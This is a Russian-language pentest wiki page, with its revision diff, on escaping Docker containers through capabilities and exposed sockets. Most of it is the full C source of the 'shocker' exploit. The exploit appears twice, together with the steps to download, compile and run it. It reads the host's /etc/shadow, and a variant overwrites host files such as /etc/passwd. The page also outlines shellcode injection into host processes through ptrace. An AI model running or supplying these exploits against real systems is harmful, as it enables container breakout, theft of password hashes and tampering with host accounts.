Docker escape — различия между версиями
Drakylar (обсуждение | вклад) м (→DAC_READ_SEARCH) |
Drakylar (обсуждение | вклад) м (→DAC_READ_SEARCH) |
||
Строка 137: | Строка 137: | ||
# чтение файла | # чтение файла | ||
./a.out | ./a.out | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Содержимое файла shocker.c: | ||
+ | <syntaxhighlight lang="с" line="1" enclose="div" style="overflow-x:scroll; width: 300px;" > | ||
+ | /* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer | ||
+ | * | ||
+ | * Demonstrates that any given docker image someone is asking | ||
+ | * you to run in your docker setup can access ANY file on your host, | ||
+ | * e.g. dumping hosts /etc/shadow or other sensitive info, compromising | ||
+ | * security of the host and any other docker VM's on it. | ||
+ | * | ||
+ | * docker using container based VMM: Sebarate pid and net namespace, | ||
+ | * stripped caps and RO bind mounts into container's /. However | ||
+ | * as its only a bind-mount the fs struct from the task is shared | ||
+ | * with the host which allows to open files by file handles | ||
+ | * (open_by_handle_at()). As we thankfully have dac_override and | ||
+ | * dac_read_search we can do this. The handle is usually a 64bit | ||
+ | * string with 32bit inodenumber inside (tested with ext4). | ||
+ | * Inode of / is always 2, so we have a starting point to walk | ||
+ | * the FS path and brute force the remaining 32bit until we find the | ||
+ | * desired file (It's probably easier, depending on the fhandle export | ||
+ | * function used for the FS in question: it could be a parent inode# or | ||
+ | * the inode generation which can be obtained via an ioctl). | ||
+ | * [In practise the remaining 32bit are all 0 :] | ||
+ | * | ||
+ | * tested with docker 0.11 busybox demo image on a 3.11 kernel: | ||
+ | * | ||
+ | * docker run -i busybox sh | ||
+ | * | ||
+ | * seems to run any program inside VMM with UID 0 (some caps stripped); if | ||
+ | * user argument is given, the provided docker image still | ||
+ | * could contain +s binaries, just as demo busybox image does. | ||
+ | * | ||
+ | * PS: You should also seccomp kexec() syscall :) | ||
+ | * PPS: Might affect other container based compartments too | ||
+ | * | ||
+ | * $ cc -Wall -std=c99 -O2 shocker.c -static | ||
+ | */ | ||
+ | |||
+ | #define _GNU_SOURCE | ||
+ | #include <stdio.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <sys/stat.h> | ||
+ | #include <fcntl.h> | ||
+ | #include <errno.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | #include <unistd.h> | ||
+ | #include <dirent.h> | ||
+ | #include <stdint.h> | ||
+ | |||
+ | |||
+ | struct my_file_handle { | ||
+ | unsigned int handle_bytes; | ||
+ | int handle_type; | ||
+ | unsigned char f_handle[8]; | ||
+ | }; | ||
+ | |||
+ | |||
+ | |||
+ | void die(const char *msg) | ||
+ | { | ||
+ | perror(msg); | ||
+ | exit(errno); | ||
+ | } | ||
+ | |||
+ | |||
+ | void dump_handle(const struct my_file_handle *h) | ||
+ | { | ||
+ | fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, | ||
+ | h->handle_type); | ||
+ | for (int i = 0; i < h->handle_bytes; ++i) { | ||
+ | fprintf(stderr,"0x%02x", h->f_handle[i]); | ||
+ | if ((i + 1) % 20 == 0) | ||
+ | fprintf(stderr,"\n"); | ||
+ | if (i < h->handle_bytes - 1) | ||
+ | fprintf(stderr,", "); | ||
+ | } | ||
+ | fprintf(stderr,"};\n"); | ||
+ | } | ||
+ | |||
+ | |||
+ | int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) | ||
+ | { | ||
+ | int fd; | ||
+ | uint32_t ino = 0; | ||
+ | struct my_file_handle outh = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1 | ||
+ | }; | ||
+ | DIR *dir = NULL; | ||
+ | struct dirent *de = NULL; | ||
+ | |||
+ | path = strchr(path, '/'); | ||
+ | |||
+ | // recursion stops if path has been resolved | ||
+ | if (!path) { | ||
+ | memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); | ||
+ | oh->handle_type = 1; | ||
+ | oh->handle_bytes = 8; | ||
+ | return 1; | ||
+ | } | ||
+ | ++path; | ||
+ | fprintf(stderr, "[*] Resolving '%s'\n", path); | ||
+ | |||
+ | if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) | ||
+ | die("[-] open_by_handle_at"); | ||
+ | |||
+ | if ((dir = fdopendir(fd)) == NULL) | ||
+ | die("[-] fdopendir"); | ||
+ | |||
+ | for (;;) { | ||
+ | de = readdir(dir); | ||
+ | if (!de) | ||
+ | break; | ||
+ | fprintf(stderr, "[*] Found %s\n", de->d_name); | ||
+ | if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { | ||
+ | fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); | ||
+ | ino = de->d_ino; | ||
+ | break; | ||
+ | } | ||
+ | } | ||
+ | |||
+ | fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); | ||
+ | |||
+ | |||
+ | if (de) { | ||
+ | for (uint32_t i = 0; i < 0xffffffff; ++i) { | ||
+ | outh.handle_bytes = 8; | ||
+ | outh.handle_type = 1; | ||
+ | memcpy(outh.f_handle, &ino, sizeof(ino)); | ||
+ | memcpy(outh.f_handle + 4, &i, sizeof(i)); | ||
+ | |||
+ | if ((i % (1<<20)) == 0) | ||
+ | fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); | ||
+ | if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { | ||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | dump_handle(&outh); | ||
+ | return find_handle(bfd, path, &outh, oh); | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | |||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | |||
+ | int main() | ||
+ | { | ||
+ | char buf[0x1000]; | ||
+ | int fd1, fd2; | ||
+ | struct my_file_handle h; | ||
+ | struct my_file_handle root_h = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1, | ||
+ | .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} | ||
+ | }; | ||
+ | |||
+ | fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" | ||
+ | "[***] The tea from the 90's kicks your sekurity again. [***]\n" | ||
+ | "[***] If you have pending sec consulting, I'll happily [***]\n" | ||
+ | "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); | ||
+ | |||
+ | read(0, buf, 1); | ||
+ | |||
+ | // get a FS reference from something mounted in from outside | ||
+ | if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) | ||
+ | die("[-] open"); | ||
+ | |||
+ | if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0) | ||
+ | die("[-] Cannot find valid handle!"); | ||
+ | |||
+ | fprintf(stderr, "[!] Got a final handle!\n"); | ||
+ | dump_handle(&h); | ||
+ | |||
+ | if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) | ||
+ | die("[-] open_by_handle"); | ||
+ | |||
+ | memset(buf, 0, sizeof(buf)); | ||
+ | if (read(fd2, buf, sizeof(buf) - 1) < 0) | ||
+ | die("[-] read"); | ||
+ | |||
+ | fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf); | ||
+ | |||
+ | close(fd2); close(fd1); | ||
+ | |||
+ | return 0; | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Запись хостового файла - инструкция альтернативная, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла> | ||
+ | |||
+ | Хостовой файл будет перезаписан докер-файлом. | ||
+ | |||
+ | <syntaxhighlight lang="с" line="1" enclose="div" style="overflow-x:scroll; width: 300px;" > | ||
+ | #include <stdio.h> | ||
+ | #include <sys/types.h> | ||
+ | #include <sys/stat.h> | ||
+ | #include <fcntl.h> | ||
+ | #include <errno.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | #include <unistd.h> | ||
+ | #include <dirent.h> | ||
+ | #include <stdint.h> | ||
+ | |||
+ | // gcc shocker_write.c -o shocker_write | ||
+ | // ./shocker_write /etc/passwd passwd | ||
+ | |||
+ | struct my_file_handle { | ||
+ | unsigned int handle_bytes; | ||
+ | int handle_type; | ||
+ | unsigned char f_handle[8]; | ||
+ | }; | ||
+ | void die(const char * msg) { | ||
+ | perror(msg); | ||
+ | exit(errno); | ||
+ | } | ||
+ | void dump_handle(const struct my_file_handle * h) { | ||
+ | fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, | ||
+ | h -> handle_type); | ||
+ | for (int i = 0; i < h -> handle_bytes; ++i) { | ||
+ | fprintf(stderr, "0x%02x", h -> f_handle[i]); | ||
+ | if ((i + 1) % 20 == 0) | ||
+ | fprintf(stderr, "\n"); | ||
+ | if (i < h -> handle_bytes - 1) | ||
+ | fprintf(stderr, ", "); | ||
+ | } | ||
+ | fprintf(stderr, "};\n"); | ||
+ | } | ||
+ | int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) | ||
+ | { | ||
+ | int fd; | ||
+ | uint32_t ino = 0; | ||
+ | struct my_file_handle outh = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1 | ||
+ | }; | ||
+ | DIR * dir = NULL; | ||
+ | struct dirent * de = NULL; | ||
+ | path = strchr(path, '/'); | ||
+ | // recursion stops if path has been resolved | ||
+ | if (!path) { | ||
+ | memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); | ||
+ | oh -> handle_type = 1; | ||
+ | oh -> handle_bytes = 8; | ||
+ | return 1; | ||
+ | } | ||
+ | ++path; | ||
+ | fprintf(stderr, "[*] Resolving '%s'\n", path); | ||
+ | if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) | ||
+ | die("[-] open_by_handle_at"); | ||
+ | if ((dir = fdopendir(fd)) == NULL) | ||
+ | die("[-] fdopendir"); | ||
+ | for (;;) { | ||
+ | de = readdir(dir); | ||
+ | if (!de) | ||
+ | break; | ||
+ | fprintf(stderr, "[*] Found %s\n", de -> d_name); | ||
+ | if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { | ||
+ | fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); | ||
+ | ino = de -> d_ino; | ||
+ | break; | ||
+ | } | ||
+ | } | ||
+ | fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); | ||
+ | if (de) { | ||
+ | for (uint32_t i = 0; i < 0xffffffff; ++i) { | ||
+ | outh.handle_bytes = 8; | ||
+ | outh.handle_type = 1; | ||
+ | memcpy(outh.f_handle, & ino, sizeof(ino)); | ||
+ | memcpy(outh.f_handle + 4, & i, sizeof(i)); | ||
+ | if ((i % (1 << 20)) == 0) | ||
+ | fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); | ||
+ | if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { | ||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | dump_handle( & outh); | ||
+ | return find_handle(bfd, path, & outh, oh); | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | closedir(dir); | ||
+ | close(fd); | ||
+ | return 0; | ||
+ | } | ||
+ | int main(int argc, char * argv[]) { | ||
+ | char buf[0x1000]; | ||
+ | int fd1, fd2; | ||
+ | struct my_file_handle h; | ||
+ | struct my_file_handle root_h = { | ||
+ | .handle_bytes = 8, | ||
+ | .handle_type = 1, | ||
+ | .f_handle = { | ||
+ | 0x02, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0, | ||
+ | 0 | ||
+ | } | ||
+ | }; | ||
+ | fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" | ||
+ | "[***] The tea from the 90's kicks your sekurity again. [***]\n" | ||
+ | "[***] If you have pending sec consulting, I'll happily [***]\n" | ||
+ | "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); | ||
+ | read(0, buf, 1); | ||
+ | // get a FS reference from something mounted in from outside | ||
+ | if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) | ||
+ | die("[-] open"); | ||
+ | if (find_handle(fd1, argv[1], & root_h, & h) <= 0) | ||
+ | die("[-] Cannot find valid handle!"); | ||
+ | fprintf(stderr, "[!] Got a final handle!\n"); | ||
+ | dump_handle( & h); | ||
+ | if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) | ||
+ | die("[-] open_by_handle"); | ||
+ | char * line = NULL; | ||
+ | size_t len = 0; | ||
+ | FILE * fptr; | ||
+ | ssize_t read; | ||
+ | fptr = fopen(argv[2], "r"); | ||
+ | while ((read = getline( & line, & len, fptr)) != -1) { | ||
+ | write(fd2, line, read); | ||
+ | } | ||
+ | printf("Success!!\n"); | ||
+ | close(fd2); | ||
+ | close(fd1); | ||
+ | return 0; | ||
+ | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Версия 14:27, 11 марта 2022
Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.
Содержание
Начальный доступ
SSRF
Доступ, когда можно только делать запросы по различным протоколам.
Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).
Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер
Local file reading
Доступ, когда можно только читать локальные файлы.
Remote code execution
Capabilities
Получить список возможных capabilities:
capsh --print
Или сложнее:
cat /proc/self/status | grep Cap
Пример вывода:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Чтобы декодировать:
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Тестовая инфраструктура для произвольной capability:
sudo docker run --cap-add название_capability -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
CAP_SYS_ADMIN
Эта capability позволяет получить максимальные права. В своем роде alias на другие.
Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.
CAP_SYS_PTRACE + host pid
Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).
Тестовая инфраструктура:
sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый) 2. Запускаем gdb -p PID 3. Встраиваем инструкции (шеллкод) 4. Запускаем инструкции
CAP_SYS_MODULE
Позволяет модифицировать ядро.
Тестовая инфраструктура:
sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
DAC_READ_SEARCH
Позволяет прочитать содержимое /etc/shadow и /root/.ssh/*.
Тестовая инфраструктура:
sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print
Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search
Чтение хостового файла
cd /tmp
apt update
apt install gcc wget nano
wget http://stealth.openwall.net/xSports/shocker.c
# Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname .
mount
# заменяете в файле shocker.c путь .dockerinit на найденный вами путь
nano shocker.c
# компиляция
gcc shocker.c
# чтение файла
./a.out
Содержимое файла shocker.c:
/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
*
* Demonstrates that any given docker image someone is asking
* you to run in your docker setup can access ANY file on your host,
* e.g. dumping hosts /etc/shadow or other sensitive info, compromising
* security of the host and any other docker VM's on it.
*
* docker using container based VMM: Sebarate pid and net namespace,
* stripped caps and RO bind mounts into container's /. However
* as its only a bind-mount the fs struct from the task is shared
* with the host which allows to open files by file handles
* (open_by_handle_at()). As we thankfully have dac_override and
* dac_read_search we can do this. The handle is usually a 64bit
* string with 32bit inodenumber inside (tested with ext4).
* Inode of / is always 2, so we have a starting point to walk
* the FS path and brute force the remaining 32bit until we find the
* desired file (It's probably easier, depending on the fhandle export
* function used for the FS in question: it could be a parent inode# or
* the inode generation which can be obtained via an ioctl).
* [In practise the remaining 32bit are all 0 :]
*
* tested with docker 0.11 busybox demo image on a 3.11 kernel:
*
* docker run -i busybox sh
*
* seems to run any program inside VMM with UID 0 (some caps stripped); if
* user argument is given, the provided docker image still
* could contain +s binaries, just as demo busybox image does.
*
* PS: You should also seccomp kexec() syscall :)
* PPS: Might affect other container based compartments too
*
* $ cc -Wall -std=c99 -O2 shocker.c -static
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main()
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
close(fd2); close(fd1);
return 0;
}
Запись хостового файла - инструкция альтернативная, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла>
Хостовой файл будет перезаписан докер-файлом.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
DAC_OVERRIDE
CAP_SYS_RAWIO
CAP_SYSLOG
CAP_NET_RAW
CAP_NET_ADMIN
CVE
Runc exploit (CVE-2019-5736)
Sockets
Docker Sockets
Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.
Это позволяет выполнять стандартные docker команды на хостовой системе.
find / -name docker.sock 2>/dev/null
# Как правило будет /run/docker.sock
Если docker.sock будет лежать по адресу /run/docker.sock то можно использовать стандартную команду docker.
Иначе потребуется использовать команду
docker -H unix:///path/to/docker.sock ...
rktlet socket
unix:///var/run/rktlet.sock
frakti socket
unix:///var/run/frakti.sock
cri-o socket
unix:///var/run/crio/crio.sock
containerd socket
unix:///run/containerd/containerd.sock
dockershim socket
unix:///var/run/dockershim.sock